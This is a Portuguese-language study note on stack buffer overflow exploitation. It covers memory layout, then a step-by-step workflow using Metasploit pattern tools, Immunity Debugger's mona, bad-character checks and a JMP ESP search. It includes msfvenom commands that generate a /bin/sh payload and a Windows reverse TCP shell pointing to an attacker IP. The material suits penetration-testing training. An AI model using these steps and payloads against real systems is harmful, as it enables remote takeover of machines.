Buffer Overflow

Ataque do tipo Buffer Overflow acontece quando um programa reserva blocos de espaço pré-definidos e limitado de memória (buffer) para armazenar dados e esse espaço reservado recebe mais dados do que é capaz de comportar. Isso ultrapassa os limites do buffer e sobrescreve a memória adjacente.

Linguagens modernas como Python, PHP, Ruby, Java e C# não são vulneráveis a esse tipo de ataque, pois utilizam Memory Safe, ou seja, não permitem que variáveis acessem regiões de memória não alocados ou alocadas por ponteiros/variávies diferentes. Linguagens não seguras como C e C++ possuem contramedidas como ASLR (Address Space-Layout Randomization), Stack Canaries e CFI (Control Flow Integrity)

Anatomia na Memória RAM

Abaixo segue o básico da sua divisão, indo do low address para o high address:

PARTE DA MEMÓRIA

DESCRIÇÃO

text segment

Região read-only que armazena textos como códigos e comandos utilizados por outros programas. O texto correspondente ao nosso código fonte, por exemplo, fica armazenado aqui

data (initialized / unitialized)

Aqui ficam as variáveis inicializadas e não inicializadas do software

heap

Região destinada ao armazenamento dinâmico de grandes informações, gerenciada pelas funções malloc, realloc e free. O que estará armazenado aqui depende da estrutura do programa sendo executado

stack

Região onde ficam armazenadas (com tamanho dinâmico) as variáveis e funções locais do nosso programas. Esta é uma pilha que funciona no esquema LIFO (Last In First Out), contendo endereços de funções que devem ser invocadas e parâmetros/variáveis a serem utilizadas

Os primeiros endereços de memória (números em hexadecimal) ficam em baixo (0x00000000) e os últimos endereços ficam no topo (fxffffffff). Conforme o stack vai utilizando mais memória, são utilizados os endereços de baixo, ou seja, o stack cresce na direção do heap (de cima pra baixo), enquanto o heap cresce na direção do stack (de baixo pra cima).

Buffer Overflows geralmente acontecem no stack, mas apesar de ser pouco comum, é possível que overflows também ocorram em outras regiões de memória como o heap.

Quando o programa é executado, uma instrução assembly jump é invocada apontando para o endereço de retorno desta função return, é assim que a função main sabe o que deve ser executado após executar nossa função func, ela executará o que estiver em return.

Heap

Armazena a memória alocada dinamicamente e começa com um endereço de memória baixa e vai utilizando endereços maiores a cada nova inserção.

Stack (Pilha)

A Stack trabalha com a estrutura LIFO (Last In First Out), ou seja, o último a entra na pilha, irá entrar no topo, e este será o primeiro a sair. A Stack começa com o endereço de memória mais alta e a cada nova inserção, vai inserindo em um endereço menor, fazendo o inverso da Heap. O rsp indica o endereço do topo da pilha e rbp é a base da Stack. Segue abaixo alguns exemplos de inserção e remoção no topo da Pilha.

push rbp
pop rbp

sub rsp,0x10
add rsp,0x10

lea eax, DWORD PTR[rbp - 0xa]

msfvenom

Gerando execve.

msfvenom -p linux/x86/exec CMD=/bin/sh AppendExit=true -e x86/alpha_mixed -f python

Procurando offset

pattern_create + pattern_offset

Aqui iremos utilizar duas ferramentas que fazem parte do Metasploit, o pattern_create.rb para gerar o payload que será enviado e o pattern_offset.rb que retorna o offset a partir do resultado obtido com o payload enviado).

locate pattern_create.rb
<path/to/pattern_create.rb> -l <length_crash>

Com a saída do comando acima, jogue a string no executável e certique-se o mesmo irá "crashar". Caso seja negativo, aumente o valor de <lenght_crash>. Ao travar o software, verifique o valor de EIP (através do Immnuity Debugger) e execute o comando abaixo para saber o offset correto.

locate pattern_offset.rb
<path/to/pattern_offset.rb> -l <length_crash> -q <result_string_crash>

pattern_create + mona

Semelhante a forma anterior, iremos utilizar o pattern_create para gerar nossa string, mas após utilizamos para "crashar" a aplicação, não iremos utilizar o pattern_offset, mas sim o mona. Após enviar o payload para o sistema, vá até o Immunity Debugger e então execute:

!mona findmsp -distance <length_crash>

Após isso, procure pelo primeiro resultado de offset, logo abaixo a linha [+] Examing registers.

Bad Chars

Alguns caracteres são considerados como bad chars, pois a aplicação não os reconhece, então não podem ser utilizados em nosso shellcode. Geralmente, os badchars são \x00, \x0a e \x0d, mas isso não é uma regra geral, pois vai de aplicação para aplicação.

Abaixo, segue todos os caracteres em hex. Já removemos o char \x00, que provavelmente irá causar erros:

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Caso queira gerar, execute um dos códigos abaixo, ambos desenvolvidos em Python:

from __future__ import print_function

listRem = "".split("\\x")
for x in range(1, 256):
    if "{:02x}".format(x) not in listRem:
        print("\\x" + "{:02x}".format(x), end='')
print()
import sys
for x in range(1,256):
        sys.stdout.write ("\\x" + '{:02x}'.format(x))

mona

Antes de utilizarmos o mona, vamos definir qual o seu diretório de trabalho. Para isso, iremos criar o diretório c:\mona e depois executar o seguinte comando no Immunity Debugger:

!mona config -set workingfolder c:\mona\%p

Agora vamos gerar um arquivo com badchars semelhante ao que vimos acima, porém usando o mona no Immnunity Debbuger ao invés do python, e já excluindo o \x00, que provavelmente irá provocar algum erro.

!mona bytearray -b "\x00"

Note na saída do comando que será gerado um arquivo chamado bytearray, que iremos utilizar para comparar o nosso ESP, através do comando:

!mona compare -f <C:\path\mona\bytearray.txt> -a <esp_address>

Irá ser aberta então, uma janela com os bad chars localizados.

ATENÇÃO: Nem todos esses podem ser badchars! Às vezes, os badchars fazem com que o próximo byte também seja corrompido ou até mesmo afetem o resto da string. Utilize o Follow in Dump do ESP para verificar de forma manual.

Remova agora os bad chars localizados execute novamente o processo pelo mona até que o resultado seja Unmodified.

Trabalhando com Opcode

Primeiro vamos ver os Módulos que não tem proteção ASLR com o Immunity Debugger, utilizando o mona.

!mona modules

Após localizar qual (ou quais) dll's não possuem possuem proteções ASLR, vamos utilizar o nasm_shell para localizar um JMP ESP.

# Procurando pelo executável
locate nasm_shell

# Executando o script (o caminho pode alterar de acordo com o resultado do comando acima)
/usr/bin/msf-nasm_shell

# Digite ao abrir um novo PS1 interativo
jmp esp

Supondo que o resultado seja 00000000 FFE4 jmp esp, então vamos pegar o FFE4 e procurá-lo no mona.

!mona find -s "\xff\xe4" -m <file.dll>

Por boas práticas, é sempre bom colocar um endpoint no local encontrado, para confirmar se o EIP realmente está redirecionando corretamente para ESP.

Procurando o JMP ESP

Como sabemos, não é possível pegarmos o valor exato de ESP (já que este é dinâmico), então precisamos localizar algum JMP para o ESP (que tem um valor estático), e então chamá-lo. Note que passamos o parâmetro -cpb para informamos os badchars e evitarmos problemas. Esse programa que estamos utilizando é o mona, que é uma extensão do Immunity Debugger.

Reinicie a execução do binário antes de executar o comando abaixo.

!mona jmp -r esp -cpb "\x00\x0a"

O valor encontrado aqui, ficará no lugar do BBBB, que geralmente é utilizado para testar se podemos sobrescrever EIP. Supomos que encontramos o valor 0x625011af, então o valor irá ficar assim (note a inversão da ordem): \xaf\x11\x50\x62

Gerando Shellcode com msfvenom

Note que abaixo estamos definindo somente \x00 como Bad Char, porém pode ter mais. E também estamos definindo no parâmetro -f que é para funcionar em aplicação desenvolvidas em C. Também estamos utilizando o parâmetro exitfunc=thread, que serve para não "crashar" o serviço ao sair dele, pois por padrão o msfvenom mata o processo ao finalizar.

msfvenom -p windows/shell_reverse_tcp lhost=<ip_atacante> lport=<port> exitfunc=thread -b "\x00" -f c

Sites

https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst
http://andreybleme.com/2019-07-06/etendendo-explorando-buffer-overflow/
https://www.gestortecnico.net/2018/10/o-que-e-ataque-de-buffer-overflow.html
https://cic.unb.br/~rezende/trabs/buffer_overflow.htm

Last updated